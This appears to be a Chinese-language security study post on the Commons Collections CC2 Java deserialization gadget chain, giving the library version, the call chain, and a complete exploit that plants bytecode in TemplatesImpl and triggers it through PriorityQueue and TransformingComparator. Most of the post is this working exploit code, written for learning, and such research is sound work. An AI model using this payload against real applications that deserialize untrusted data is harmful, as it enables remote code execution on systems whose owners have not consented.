CC2
前几天意识到一个问题，就是链子在序列化之前就触发了的事，这次将序列化和反序列分开，是不是好看一点。
CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组。不用数组是因为比如 shiro 当中的漏洞，它会重写很多动态加载数组的方法，这就可能会导致我们的 EXP 无法通过数组实现。
CC2就是CC4翻版，在使用 InstantiateTransformer初始化 TrAXFilter达到利用，转变为 直接使用InvokerTransformer调用 TemplatesImpl.newTransformer()。
环境
JDK8u65
1
2
3
4
5
| <dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.junit.Test;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerFactory;
import javax.xml.ws.spi.Invoker;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2Test {
public static void serializable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserializable(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
@Test
public void test() throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();
Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");
Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);
Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(2,transformingComparator);
queue.add(templates);
queue.add(templates);
Class<?> c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator,invokerTransformer);
serializable(queue);
}
@Test
public void test3() throws Exception {
unserializable("ser.bin");
}
}
|
小谈
后面学的是更加得心应手了，有些地方是一点就通，继续坚持，孩儿们。其实好多
链子
1
2
3
4
5
6
7
8
9
10
| TransletClassLoader.defineClass()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.getTransletInstance()
TemplatesImpl.newTransformer()
InvokerTransformer.transformer
org.apache.commons.collections4.comparators.TransformingComparator#compare
java.util.PriorityQueue#siftDownUsingComparator
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#heapify
java.util.PriorityQueue#readObject
|